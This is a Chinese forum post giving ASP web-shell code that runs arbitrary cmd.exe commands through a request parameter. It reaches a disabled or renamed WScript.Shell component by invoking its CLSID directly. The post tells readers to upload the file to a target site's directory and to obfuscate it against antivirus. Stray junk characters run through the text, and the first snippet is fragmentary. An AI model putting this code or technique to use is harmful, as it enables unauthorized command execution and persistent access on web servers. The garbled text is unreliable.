没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  1 s; n; l" J' H: D9 W
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  2 ~2 V3 [2 J, U: V
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  9 ^$ l( f* E/ |6 g+ H# g3 b
• <%
  
• end if
  
• response.write(”")
    H* g% o, U4 k
• On Error Resume
  0 c$ J% j4 N0 q- N+ d7 J% M" w
• Next
  # j# \7 v% N4 m  _- f
• response.write oScriptlhn.exec(”cmd.exe /c” &
  + w9 ~# w; B5 F# i1 N8 U
• request(”c”)).stdout.readall
  4 M! ?9 N! o7 d3 S
• response.write(”")
  / L9 s4 [* x8 X$ ?7 R2 S4 X- C
• response.write(”")
  " s! m* z0 z+ p
• response.write(”
  
• “)
  & D6 M) U# j0 k* Q3 N4 _' O1 u
• response.write(”")
  
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  ' h% _/ z6 f8 \# d6 h: D. J4 c' j( S
• 我用此成功运行过cacls命令。
  3 y& T$ }1 t+ d: ?4 a2 h
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  . Z* Q" O. ~5 ?0 N
• <object runat=server id=oScriptlhn scope=page
  ! z+ U# r) c0 Z8 m' k/ z
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  
• <%if err then%>
  
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  . ^0 c( k& m' N* b9 C; O
• <%
  
• end if
  % e& j: p  K/ D
• response.write(”<textarea readonly cols=80
  8 ~% n+ o# G$ r; L
• 
  0 w  [9 k4 p; v& z7 h. \7 Q0 ?- ~, E
• rows=20>”)
  
• On Error Resume Next
  
• response.write
  
• 
  $ V0 s8 G; P1 W
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  ( u* j. o. y7 {+ @! S+ `9 O. }# N
• response.write(”<form
  ) M4 _1 {3 }- O0 Y% t
• 
  
• method=’post’>”)
  
• response.write(”<input type=text name=’c'
  5 d' A& j& U& \/ E+ w
• 
    V1 \2 }, R# U7 u* h
• size=60><br>”)
  
• response.write(”<input type=submit
  
• 
  
• value=’执行’></form>”)
  
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  % R% G+ ]" k! `: k" q
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  6 l  Y# [$ f3 r  ~3 w, u3 A

复制代码